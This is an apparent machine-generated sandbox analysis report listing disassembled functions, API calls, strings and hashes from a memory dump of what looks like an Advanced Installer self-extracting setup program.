String ID: ProgramFiles64Folder$ProgramW6432$SETUPEXEDIR$SHGetFolderPathW$System32Folder$SystemFolder$TempFolder$WindowsFolder$WindowsVolume$shfolder.dll
API String ID: 1332424260-2142986682
Opcode ID: 997093e5f30d4d480c4f289a87f8c093389c3b03e013064daeabf2caee4dc115
Instruction ID: 8bc1d484e383a32cac8284ed75d30178c11c2a80c095d594bb9cd9f082ac044d
Opcode Fuzzy Hash: 997093e5f30d4d480c4f289a87f8c093389c3b03e013064daeabf2caee4dc115
Instruction Fuzzy Hash: 02221370A00225CBDB24DF24E899BFEB3B5EF54310F5442A8E516DB7A1DB309E85CB91

Uniqueness

Uniqueness Score: -1.00%

Function 00C1B030 Relevance: 30.0, APIs: 5, Strings: 12, Instructions: 247
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleW.KERNEL32(kernel32,IsWow64Process), ref: 00C1B363
GetProcAddress.KERNEL32(00000000), ref: 00C1B36A
__Init_thread_footer.LIBCMT ref: 00C1B37E
GetCurrentProcess.KERNEL32(?), ref: 00C1B3A1
IsWow64Process.KERNEL32(00000000), ref: 00C1B3A8

Strings

kernel32, xrefs: 00C1B35E
CurrentMinorVersionNumber, xrefs: 00C1B0F9
CurrentBuildNumber, xrefs: 00C1B19D
co_release, xrefs: 00C1B219
CurrentVersion, xrefs: 00C1B128
BuildBranch, xrefs: 00C1B206
Software\Microsoft\Windows NT\CurrentVersion, xrefs: 00C1B094
CSDVersion, xrefs: 00C1B2BB
CurrentMajorVersionNumber, xrefs: 00C1B0DA
ReleaseId, xrefs: 00C1B269
IsWow64Process, xrefs: 00C1B359
rs_prerelease, xrefs: 00C1B231

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Process$AddressCurrentHandleInit_thread_footerModuleProcWow64
String ID: BuildBranch$CSDVersion$CurrentBuildNumber$CurrentMajorVersionNumber$CurrentMinorVersionNumber$CurrentVersion$IsWow64Process$ReleaseId$Software\Microsoft\Windows NT\CurrentVersion$co_release$kernel32$rs_prerelease
API String ID: 63189420-525127412
Opcode ID: 34aaae7d40516795c2d8b14ec87eeae25c7ae45c3dee4abf2019b4ec4620665f
Instruction ID: ae97c6cb01f336fc978b1ef6a3d3f7ec10e030656cb4373e38c2a9922f1e74d6
Opcode Fuzzy Hash: 34aaae7d40516795c2d8b14ec87eeae25c7ae45c3dee4abf2019b4ec4620665f
Instruction Fuzzy Hash: 66A15C71900728EEDB20DF10CD45BD9B7F8FB05715F0042AAE559E6290EB749E88DFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00C37B60 Relevance: 27.0, APIs: 12, Strings: 3, Instructions: 717
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,?,?,?,00000000,00D15495,000000FF,?,C000008C,00000001,00000007,?,00000000,?,7E4AB622), ref: 00C37D21

Part of subcall function 00C43330: GetDiskFreeSpaceExW.KERNEL32(?,?,?,?), ref: 00C4340A

CreateFileW.KERNEL32(00000000,40000000,00000000,00000000,00000002,00000080,00000000,?,?,?,?,?,?,?,00000000), ref: 00C37F0C
GetLastError.KERNEL32(?,?,?), ref: 00C37F2C
GetLastError.KERNEL32(?, Error:,00000007,Failed to extract file:,00000017,?,?,?,?,?,?,?,?), ref: 00C37FFE
SetFilePointer.KERNEL32(?,?,?,00000000,?,?,?), ref: 00C3808E
GetLastError.KERNEL32(?,?,?), ref: 00C38099

Part of subcall function 00C19370: FormatMessageW.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000,7E4AB622,?,00000000), ref: 00C193BB
Part of subcall function 00C19370: GetLastError.KERNEL32(?,00000000), ref: 00C193C5

ReadFile.KERNEL32(?,00000000,00000000,00000007,00000000,00010000,?,?,?), ref: 00C38188
WriteFile.KERNEL32(C000008C,00000000,00000007,00000007,00000000,?,?,?), ref: 00C381BA
CloseHandle.KERNEL32(C000008C,?,?,?), ref: 00C3823F
CreateFileW.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,?,?,?), ref: 00C38287
CloseHandle.KERNEL32(?,?,00D374EC,?,?,?), ref: 00C382F5
CloseHandle.KERNEL32(C000008C,00D374EC,?,?,?), ref: 00C38327

Strings

Error:, xrefs: 00C37FF0
Failed to extract file:, xrefs: 00C37FBF
Not enough disk space to extract file:, xrefs: 00C37DF2

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: ErrorFileLast$CloseHandle$Create$DiskFormatFreeMessagePointerReadSpaceWrite
String ID: Error:$Failed to extract file:$Not enough disk space to extract file:
API String ID: 2010023527-4103669389
Opcode ID: 9f4166d752efeeebd74d2c9af376147f1db1643f111d1c9d2b417201e23d13fa
Instruction ID: 72d5a20b598e6ad4d7e8a59eebf251d27eb1f50566727cff6ed42143f1055b6e
Opcode Fuzzy Hash: 9f4166d752efeeebd74d2c9af376147f1db1643f111d1c9d2b417201e23d13fa
Instruction Fuzzy Hash: 43429271A00605DFDB14DF68C884B9EBBB5FF45324F148268F925AB391DB70AE49CB60

Uniqueness

Uniqueness Score: -1.00%

Function 00CA8C83 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 58
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DecodePointer.KERNEL32(7E4AB622,?,?,00CA8FC9,00DB9E58,?,?,?,00C55CF7,00000000,7E4AB622,?,00C55E32), ref: 00CA8C95
LoadLibraryExA.KERNEL32(atlthunk.dll,00000000,00000800,7E4AB622,?,?,00CA8FC9,00DB9E58,?,?,?,00C55CF7,00000000,7E4AB622,?,00C55E32), ref: 00CA8CAA
DecodePointer.KERNEL32(7E4AB622,?,?,?,?,?,?,?,?,?,00000000,7E4AB622,?,00C55E32), ref: 00CA8D26

Strings

AtlThunk_AllocateData, xrefs: 00CA8CBB
AtlThunk_InitData, xrefs: 00CA8CD2
AtlThunk_DataToCode, xrefs: 00CA8CE9
atlthunk.dll, xrefs: 00CA8CA5
AtlThunk_FreeData, xrefs: 00CA8D00

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: DecodePointer$LibraryLoad
String ID: AtlThunk_AllocateData$AtlThunk_DataToCode$AtlThunk_FreeData$AtlThunk_InitData$atlthunk.dll
API String ID: 1423960858-1745123996
Opcode ID: a4c45fa31d39aff120a5b44327c745511228323b54048873e8dcdeb72eac5bf1
Instruction ID: 85dc459fa8e2e9b484ab8728dffda8dd4f0b01d5e4bb2f2f22941f87ca624b85
Opcode Fuzzy Hash: a4c45fa31d39aff120a5b44327c745511228323b54048873e8dcdeb72eac5bf1
Instruction Fuzzy Hash: 8001A131941357AFCA12A710AD07B8A3B469F33B5CF040050FE55AA2D2EBA18A0D8AB5

Uniqueness

Uniqueness Score: -1.00%

Function 00C2E310 Relevance: 12.8, APIs: 6, Strings: 1, Instructions: 509
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00B19E20: GetProcessHeap.KERNEL32 ref: 00B19E75
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19EA7
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19F32

GetTickCount.KERNEL32(0000001A,7E4AB622), ref: 00C2E394
__Xtime_get_ticks.LIBCPMT ref: 00C2E39C
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00C2E3E6
__Init_thread_footer.LIBCMT ref: 00C2E5E1
GetCurrentProcess.KERNEL32 ref: 00C2E983
CloseHandle.KERNEL32(00000000), ref: 00C2EA00

Strings

\/:*?"<>|, xrefs: 00C2E5A3

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Init_thread_footer$Process$CloseCountCurrentHandleHeapTickUnothrow_t@std@@@Xtime_get_ticks__ehfuncinfo$??2@
String ID: \/:*?"<>|
API String ID: 2307806820-3830478854
Opcode ID: 9cd3d5a49592c971a48980495c7dca687a8f54ccdd74e7d9e2abe1df3e253a44
Instruction ID: 45c9289c6cfe41d6c4f74b3e492a5353d6de0962f9f941691c5fde82547237fc
Opcode Fuzzy Hash: 9cd3d5a49592c971a48980495c7dca687a8f54ccdd74e7d9e2abe1df3e253a44
Instruction Fuzzy Hash: 3122AC70A00219DFDB10DF68CC45BEEBBB4BF45314F148299E419AB392DBB45A85CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C3A3C0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 238
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNEL32(00000000,40000000,00000001,00000000,00000002,00000080,00000000), ref: 00C3A586
SetFilePointer.KERNEL32(?,7FFFFFFF,00000000,00000000,?), ref: 00C3A5E5
SetEndOfFile.KERNEL32(?), ref: 00C3A5EE
CloseHandle.KERNEL32(?), ref: 00C3A607

Strings

%sholder%d.aiph, xrefs: 00C3A562
Not enough disk space to extract file:, xrefs: 00C3A48A

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: File$CloseCreateHandlePointer
String ID: %sholder%d.aiph$Not enough disk space to extract file:
API String ID: 22866420-929304071
Opcode ID: f8b66c3ffd79e7dacd7796897beb6b7a438a11da8f96a19f5e6ffd4885311d9b
Instruction ID: 7a5572bdd709fbd7c57380a15d262c8e6a939c6b332c9628109c9220986d654e
Opcode Fuzzy Hash: f8b66c3ffd79e7dacd7796897beb6b7a438a11da8f96a19f5e6ffd4885311d9b
Instruction Fuzzy Hash: C081AE71A106099FDB10DF68CC49BAEBBB4FF48320F148669F965E7391D7709A10CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00C53E20 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 187
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32(00D1B53D,-00000400,?,00000002,00000400,7E4AB622,?,?,?), ref: 00C53EC6
GetLastError.KERNEL32(?,?), ref: 00C53ED4
ReadFile.KERNEL32(00D1B53D,00000000,00000400,?,00000000,?,?), ref: 00C53EEF

Strings

ADVINSTSFX, xrefs: 00C53F23, 00C53FDE

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: File$ErrorLastPointerRead
String ID: ADVINSTSFX
API String ID: 64821003-4038163286
Opcode ID: 9a071593ad33d2f1fb0319c3eea3710e3e5d791392546338f6d54c561b2ef786
Instruction ID: 9deeb3431b194fb4f17ade20ccaf6bb6d2699e9522ab35df73291fb46d88766e
Opcode Fuzzy Hash: 9a071593ad33d2f1fb0319c3eea3710e3e5d791392546338f6d54c561b2ef786
Instruction Fuzzy Hash: 9661E075E002499BCB14CFA8CC85BBEBBB5FB44325F244255E911A7381D7309E8ACB68

Uniqueness

Uniqueness Score: -1.00%

Function 00C1F280 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 135
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00C1AE60: __Init_thread_footer.LIBCMT ref: 00C1AF32

GetTempPathW.KERNEL32(00000104,?), ref: 00C1F369
GetTempFileNameW.KERNEL32(?,shim_clone,00000000,?), ref: 00C1F39A
Wow64DisableWow64FsRedirection.KERNEL32(00000000,?), ref: 00C1F3CD
CopyFileW.KERNEL32(?,?,00000000), ref: 00C1F3EF
Wow64RevertWow64FsRedirection.KERNEL32(00000000), ref: 00C1F41E

Strings

shim_clone, xrefs: 00C1F38E

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Wow64$FileRedirectionTemp$CopyDisableInit_thread_footerNamePathRevert
String ID: shim_clone
API String ID: 885488785-3944563459
Opcode ID: 7a322ab68f1a26e9c68e9178e14f5cbe9ed999a00315d0639bf453dae74ab034
Instruction ID: d2c9f202f0e0304af3883bed9480da5109c108998b3d608a9438b856c38e50b9
Opcode Fuzzy Hash: 7a322ab68f1a26e9c68e9178e14f5cbe9ed999a00315d0639bf453dae74ab034
Instruction Fuzzy Hash: 8A511470A002189EDB24DF64CC05BEEB7B9EF96700F5080A9E519D72C1DB749F86DBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00C38BB0 Relevance: 9.4, APIs: 6, Instructions: 354
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFilePointer.KERNEL32(?,?,?,00000000,7E4AB622,?,?,00000002,?,?,?,?,?,?,00000000,00D15B02), ref: 00C38C07
GetLastError.KERNEL32(?,00000002), ref: 00C38E99
GetLastError.KERNEL32(?,00000002), ref: 00C38F43
GetLastError.KERNEL32(?,00000002,?,?,?,?,?,?,00000000,00D15B02,000000FF,?,00C37B1A,00000010), ref: 00C38C16

Part of subcall function 00C19370: FormatMessageW.KERNEL32(00001300,00000000,00000000,00000400,?,00000000,00000000,7E4AB622,?,00000000), ref: 00C193BB
Part of subcall function 00C19370: GetLastError.KERNEL32(?,00000000), ref: 00C193C5

ReadFile.KERNEL32(?,00000000,00000008,80070057,00000000,?,00000002), ref: 00C38CD8
ReadFile.KERNEL32(?,7E4AB622,00000000,00000000,00000000,00000001,?,00000002), ref: 00C38D55

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: ErrorLast$File$Read$FormatMessagePointer
String ID:
API String ID: 3903527278-0
Opcode ID: 683cec68fb22583a64bea80a6ce2b75b808427bc36d0302b3e35c0102f1c5aa0
Instruction ID: 2c9d36c9d5d0e12538424ea5bd36d0b7b5edad9d7571bb94249e4aa9db424c74
Opcode Fuzzy Hash: 683cec68fb22583a64bea80a6ce2b75b808427bc36d0302b3e35c0102f1c5aa0
Instruction Fuzzy Hash: F3D18071D00209DFDB00DFA8D885BAEF7B5FF45314F148269E825AB391DB749A49CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 00C19490 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(ComCtl32.dll,7E4AB622,00000000,?,00000000), ref: 00C194CE
GetProcAddress.KERNEL32(00000000,LoadIconMetric), ref: 00C194F1
FreeLibrary.KERNEL32(00000000), ref: 00C1956F

Strings

LoadIconMetric, xrefs: 00C194EB
ComCtl32.dll, xrefs: 00C194C2

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: ComCtl32.dll$LoadIconMetric
API String ID: 145871493-764666640
Opcode ID: bfb43981eaa2e75bceb3c3b10654e4359be2777eb8421bc21b787a9cee8fe5ad
Instruction ID: 844c80c27f529f55e9bfafea95082368755417090ae3a51c86814df13e918d7a
Opcode Fuzzy Hash: bfb43981eaa2e75bceb3c3b10654e4359be2777eb8421bc21b787a9cee8fe5ad
Instruction Fuzzy Hash: 57315EB1A00359EBDF158FA9CC54BAEBFF9EB49750F000229F915E3380D7758A048BA0

Uniqueness

Uniqueness Score: -1.00%

Function 00C17D90 Relevance: 7.6, APIs: 5, Instructions: 117
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00C17DD8
GetLastError.KERNEL32 ref: 00C17DEF
GetLastError.KERNEL32 ref: 00C17E1F
CloseHandle.KERNEL32(00000000), ref: 00C17ED0

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: ErrorLast$CloseCurrentHandleProcess
String ID:
API String ID: 1245819386-0
Opcode ID: ceaef852e02a175dc19e981403347dde17075eef5527afa795d8f6b4cbfc9f67
Instruction ID: 69cabe49b408b7cd67a7dfbf7bf80ffb9067746b14312355366295559570bd6a
Opcode Fuzzy Hash: ceaef852e02a175dc19e981403347dde17075eef5527afa795d8f6b4cbfc9f67
Instruction Fuzzy Hash: C9415471900209EFDF20CFA0DD49BEEBBB8EF09314F504255E511B22A0DB799A44DBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00BD6110 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 228
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000105,7E4AB622,?,?,Kernel32.dll,00000000,00D0381D,000000FF), ref: 00BD6151

Part of subcall function 00B19E20: GetProcessHeap.KERNEL32 ref: 00B19E75
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19EA7
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19F32

_wcschr.LIBVCRUNTIME ref: 00BD620F

Part of subcall function 00B19120: FindResourceW.KERNEL32(00000000,?,00000006,-00000010,?,?,00B1CB50,-00000010,?,00C555F7,00000008,7E4AB622), ref: 00B19143

LoadLibraryExW.KERNEL32(?,00000000,00000000,-00000010), ref: 00BD6224

Strings

Kernel32.dll, xrefs: 00BD612C, 00BD61FF, 00BD6200, 00BD6294

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Init_thread_footer$DirectoryFindHeapLibraryLoadProcessResourceSystem_wcschr
String ID: Kernel32.dll
API String ID: 1122257418-1926710522
Opcode ID: f71aa365d0d66650f21cd8f660c04a4aac363b601289b5cf8bb07275d49435d2
Instruction ID: 4c42718e67a00839789c9ee0fcdf8cc10b200bc0ee33a8ff230830179e51f944
Opcode Fuzzy Hash: f71aa365d0d66650f21cd8f660c04a4aac363b601289b5cf8bb07275d49435d2
Instruction Fuzzy Hash: 25A169B0501646EFE714CF64C858B9AFBF4FF05318F10869DE4199B781E7BAA618CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00C50D10 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 224filepipeCOMMON

Download Yara Rule

APIs

ConnectNamedPipe.KERNEL32(?,00000000,7E4AB622,?,000000FF,?,?,00000000,00D1ABD6,000000FF,?,00C50F2A,000000FF,?,00000001), ref: 00C50D4C
GetLastError.KERNEL32(?,?,00000000,00D1ABD6,000000FF,?,00C50F2A,000000FF,?,00000001), ref: 00C50D56

Part of subcall function 00B19E20: GetProcessHeap.KERNEL32 ref: 00B19E75
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19EA7
Part of subcall function 00B19E20: __Init_thread_footer.LIBCMT ref: 00B19F32

ReadFile.KERNEL32(?,?,00007F90,00000000,00000000,7E4AB622,?,000000FF,?,?,00000000,00D1ABD6,000000FF,?,00C50F2A,000000FF), ref: 00C50DA3

Strings

\\.\pipe\ToServer, xrefs: 00C50FB4, 00C50FC5, 00C50FCF

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153670107.0000000000DB3000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153701923.0000000000DB8000.00000008.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153723257.0000000000DB9000.00000004.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153743852.0000000000DBC000.00000002.00000001.01000000.0000001A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_21_2_b10000_a1.jbxd

Similarity

API ID: Init_thread_footer$ConnectErrorFileHeapLastNamedPipeProcessRead
String ID: \\.\pipe\ToServer
API String ID: 2973225359-63420281
Opcode ID: 3b73ad462e2fb7b9560f26e59f27e0af3a5e333772ec39a23677bea43cd68703
Instruction ID: b5889ba70a3a1f9af151e0b3e2404ca9dee2f0239c343a824b0c7435b39e716c
Opcode Fuzzy Hash: 3b73ad462e2fb7b9560f26e59f27e0af3a5e333772ec39a23677bea43cd68703
Instruction Fuzzy Hash: 8A71E135604649EFDB10CF58D815BAEB7E4EF44325F20866DEC25DB381DBB1AA04CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00C4F190 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 161COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00C4F224
GetEnvironmentVariableW.KERNEL32(UserDomain,00000000,00000000), ref: 00C4F2A2
GetEnvironmentVariableW.KERNEL32(UserDomain,00000000,00000000,00000000,00000000), ref: 00C4F2EC

Strings

UserDomain, xrefs: 00C4F29D, 00C4F2E7

Memory Dump Source

Source File: 00000015.00000002.3153387260.0000000000B11000.00000020.00000001.01000000.0000001A.sdmp, Offset: 00B10000, based on PE: true

Associated: 00000015.00000002.3153365616.0000000000B10000.00000002.00000001.01000000.0000001A.sdmpDownload File
Associated: 00000015.00000002.3153610921.0000000000D2C000.00000002.00000001.01000000.0000001A.sdmpDownload File
